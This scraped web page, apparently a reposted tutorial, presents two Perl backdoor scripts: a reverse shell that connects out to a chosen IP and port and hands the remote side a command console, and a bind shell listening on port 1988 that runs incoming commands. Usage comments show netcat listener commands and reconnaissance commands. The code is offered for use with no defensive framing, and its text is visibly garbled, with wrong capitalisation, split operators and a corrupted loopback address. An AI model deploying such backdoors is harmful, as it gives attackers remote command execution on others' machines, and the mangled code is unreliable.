Perl backdoor, forward and reverse! Instance code

Source: Internet
Author: User
Tags socket error

Reverse connection Code :
1 .#! /Usr/bin/perl
2. # usage:
3. # nc-VV-l-P port (default 1988) on your local system first, then
4. # Perl $0 remote IP (default 127.0.0.1) remote_port (default 1988)
5. # type 'exit 'to exit or press enter to gain shell when u under the 'console '.
6. # nc-VV-l-P 1988
7. # Perl backdoor. pl 127.0.0.1 1988
8.
9. # use strict;
10. Use SOCKET;
11. Use IO: socket;
12. Use CWD;
13. Use IO: handle;
14. My $ remote = $ argv [0] | "127.0.0.1 ";
15. My $ remote_port = $ argv [1] || 1988;
16. My $ pack_addr = sockaddr_in ($ remote_port, inet_aton ($ remote ));
17. My $ Path = CWD ();
18. $ argc = @ argv;
19. If ($ argv [0]! ~ /-/)
20 .{
21. socket (socket, pf_inet, sock_stream, getprotobyname ('tcp ') or die "socket error :";
22. stdout-> autoflush (1 );
23. socket-> autoflush (1 );
24. $ conn = connect (socket, $ pack_addr) | die "connection error: $! ";
25. Open stdin, "> & socket ";
26. Open stdout, "> & socket ";
27. Open stderr, "> & socket ";
28. Print "you are in $ path \ n ";
29. Print "welcome to use. \ n ";
30. Print "Console> \ n ";
31.
32. While (<stdin> ){
33. Chomp;
34. If (LC ($ _) eq 'exit '){
35. Print "Bye bye! ";
36. exit;
37 .}
38. $ MSG = system ($ _);
39. If ($ MSG ){
40. Print stdout "\ N $ MSG \ n ";
41. Print stdout "Console> ";
42.} else
43 .{
44. Print "Console> ";
45 .}
46 .}
47. Close socket;
48. exit;
49 .}
Positive connection code:
1 .#! /Usr/bin/perl
2. # ActivePerl 5.8.8 build 822
3. # usage:
4. # First: Perl backdoor2c. pl
5. # Second: NC-VV 127.0.0.1 1988
6. # net user
7. # ipconfig/all
8. # netstat-anb
9. Use IO: socket;
10. $ Port = "1988 ";
11. My $ socket = new IO: Socket: iNet ('localhost' => '2017. 0.0.1 ',
12. 'localport' => $ port,
13. 'listen' => 1,
14. 'prop' => 'tcp ',
15. 'reuse' => 1 );
16. Die "Reason: $! "Unless $ socket;
17. While (my $ new_socket = $ socket-> Accept ()){
18. While (my $ buffer = <$ new_socket> ){
19. If ($ buffer = ~ /Exit/) {exit ;}
20. $ res_msg = '$ buffer ';
21. Print $ new_socket "$ res_msg \ ncmd> ";
22 .}}
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.